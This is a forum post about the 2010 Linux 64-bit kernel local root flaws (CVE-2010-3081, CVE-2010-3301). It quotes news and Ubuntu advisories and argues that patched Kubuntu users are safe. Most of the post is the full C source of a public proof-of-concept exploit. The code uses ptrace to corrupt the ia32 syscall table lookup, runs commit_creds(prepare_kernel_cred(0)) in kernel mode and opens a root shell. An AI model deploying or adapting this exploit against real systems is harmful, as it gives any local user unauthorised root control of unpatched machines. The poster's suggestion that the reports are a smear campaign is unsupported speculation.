Announcement

Collapse
No announcement yet.

Linux 64bit local kernel exploit

Collapse
This topic is closed.
X
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    Linux 64bit local kernel exploit

    Slashdot reported:
    An anonymous reader writes "Running 64-bit Linux? Haven't updated yet? You're probably being rooted as I type this. CVE-2010-3081, this week's second high-profile local root exploit in the Linux kernel, is compromising machines left and right. Almost all 64-bit machines are affected, and 'Ac1db1tch3z' (classy) published code to let any local user get a root shell. Ac1db1tch3z's exploit is more malicious than usual because it leaves a backdoor behind for itself to exploit later even if the hole is patched. Luckily, there's a tool you can run to see if you've already been exploited, courtesy of security company Ksplice, which beat most of the Linux vendors with a 'rebootless' version of the patch."
    A lot is being made of a 64 bit kernel exploit announced last Friday by Ben Hawkes.

    The exploit is LOCAL, so most Linux users running a 64bit kernel don't have to worry about it. Kubuntu users do not have to worry about it either. But, if you created an account for your precocious 13 year old, who is begging you for your root password, and you give it to her, you still don't have to be concerned! It also begs the question as to how "Anonymous" knows it is "compromising machines left and right", since most multi-account Linux users are corporate and corporate hacks are not made common knowledge. Smear campaign?

    The patched kernel was released and by auto update appeared on my box at:
    -rw-r--r-- 1 root root 757586 2010-09-17 10:04 /var/cache/apt/archives/linux-headers-2.6.32-24-generic_2.6.32-24.43_amd64.deb
    and later that same day:
    -rw-r--r-- 1 root root 770132 2010-09-17 21:05 /var/cache/apt/archives/linux-headers-2.6.32-25-generic_2.6.32-25.44_amd64.deb
    which is the same day as the announcement by Ben.

    Indeed, Ubuntu announced the exploit on Friday, the 17th, as well, so your precocious 13 year old never had a chance!
    Details follow:
    Ben Hawkes discovered that the Linux kernel did not correctly validate memory ranges on 64bit kernels when allocating memory on behalf of 32bit system calls. On a 64bit system, a local attacker could perform malicious multicast getsockopt calls to gain root privileges. (CVE-2010-3081) Ben Hawkes discovered that the Linux kernel did not correctly filter registers on 64bit kernels when performing 32bit system calls. On a 64bit system, a local attacker could manipulate 32bit system calls to gain root privileges. (CVE-2010-3301)

    The "iWeb Communities" web site made a big deal about this exploit, and a similar one from last week, both of which were patched in the kernel upgrade on last Friday:
    This vulnerability is potentially very harmful because it allows an ill-disposed hacker to take over a web server and give him full root access thanks to a backdoor.

    The problem is even more important that this vulnerability seems to have been exploited much more rapidly than usual. Once a vulnerability is released it usually takes some time before hackers might try to exploit it.

    This time the flaw is easily exploitable and the first reports were published by various web hosts barely 48 hours after the publication of the fault. Fortunately the problem can be countered by quickly updating the kernel of the system.
    We Ubuntu and Kubuntu users don't have to worry about this exploit, and since corporate users use auto updates they were probably patched last Friday as well.. One of the temporary "fixes" suggested echoing some alphanumeric string into a /proc system variable, which breaks 32 bit application compatibility. Not something I'd do, but I don't have to anyway.

    The flaw was "easily exploitable" because Hawkes released a C code proof of concept, as he should have done. As a historical curiosity, here is the "robert_you_suck.c" code:
    Code:
    /*
     * exploit for x86_64 linux kernel ia32syscall emulation (again)
     *	rediscovered by ben hawkes
     *	with help from robert swiecki and tavis ormandy
     *
     * original vulnerability discovered by Wojciech Purczynski
     *
     * original exploit by
     * 	Robert Swiecki <robert_at_swiecki.net>
     * 	Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
     * 	Pawel Pisarczyk <pawel_at_immos.com.pl>
     * 
     * kernel priv escalation code borrowed from spender
     *
     */
     
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/ptrace.h>
    #include <inttypes.h>
    #include <sys/reg.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    #include <string.h>
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    int kernelmodecode(void *file, void *vma)
    {
    	commit_creds(prepare_kernel_cred(0));
    	return -1;
    }
    
    unsigned long
    get_symbol(char *name)
    {
    	FILE *f;
    	unsigned long addr;
    	char dummy;
    	char sname[512];
    	int ret = 0, oldstyle = 0;
    
    	f = fopen("/proc/kallsyms", "r");
    	if (f == NULL) {
    		f = fopen("/proc/ksyms", "r");
    		if (f == NULL)
    			return 0;
    		oldstyle = 1;
    	}
    
    	while (ret != EOF) {
    		if (!oldstyle) {
    			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
    		} else {
    			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
    			if (ret == 2) {
    				char *p;
    				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
    					continue;
    				}
    				p = strrchr(sname, '_');
    				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
    					p = p - 4;
    					while (p > (char *)sname && *(p - 1) == '_') {
    						p--;
    					}
    					*p = '\0';
    				}
    			}
    		}
    		if (ret == 0) {
    			fscanf(f, "%s\n", sname);
    			continue;
    		}
    		if (!strcmp(name, sname)) {
    			printf("resolved symbol %s to %p\n", name, (void *) addr);
    			fclose(f);
    			return addr;
    		}
    	}
    	fclose(f);
    
    	return 0;
    }
    
     
    static void docall(uint64_t *ptr, uint64_t size)
    {
    	commit_creds = (_commit_creds) get_symbol("commit_creds");
    	if (!commit_creds) {
    		printf("symbol table not available, aborting!\n");
    		exit(1);
    	}
    
    	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    	if (!prepare_kernel_cred) {
    		printf("symbol table not available, aborting!\n");
    		exit(1);
    	}
    
        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
    
    	printf("mapping at %lx\n", tmp); 
    
        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
            MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
            printf("mmap fault\n");
            exit(1);
        }
     
        for (; (uint64_t) ptr < (tmp + size); ptr++)
            *ptr = (uint64_t)kernelmodecode;
     
        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");
     
        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", NULL);
        printf("no /bin/sh ??\n");
        exit(0);
    }
     
    int main(int argc, char **argv)
    {
        int pid, status, set = 0;
        uint64_t rax;
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
        uint64_t off = 0x0000000800000101 * 8;
     
        if (argc == 4) {
            docall((uint64_t*)(kern_s + off), kern_e - kern_s);
            exit(0);
        }
     
        if ((pid = fork()) == 0) {
            ptrace(PTRACE_TRACEME, 0, 0, 0);
            execl(argv[0], argv[0], "2", "3", "4", NULL);
            perror("exec fault");
            exit(1);
        }
     
        if (pid == -1) {
            printf("fork fault\n");
            exit(1);
        }
     
        for (;;) {
            if (wait(&status) != pid)
                continue;
     
            if (WIFEXITED(status)) {
                printf("Process finished\n");
                break;
            }
     
            if (!WIFSTOPPED(status))
                continue;
     
            if (WSTOPSIG(status) != SIGTRAP) {
                printf("Process received signal: %d\n", WSTOPSIG(status));
                break;
            }
     
            rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
            if (rax == 0x000000000101) {
                if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                    printf("PTRACE_POKEUSER fault\n");
                    exit(1);
                }
                set = 1;
            	//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
            }
     
            if ((rax == 11) && set) {
                ptrace(PTRACE_DETACH, pid, 0, 0);
                for(;;)
                    sleep(10000);
            }
     
            if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                printf("PTRACE_SYSCALL fault\n");
                exit(1);
            }
        }
     
        return 0;
    }
    "A nation that is afraid to let its people judge the truth and falsehood in an open market is a nation that is afraid of its people.”
    – John F. Kennedy, February 26, 1962.
Working...
X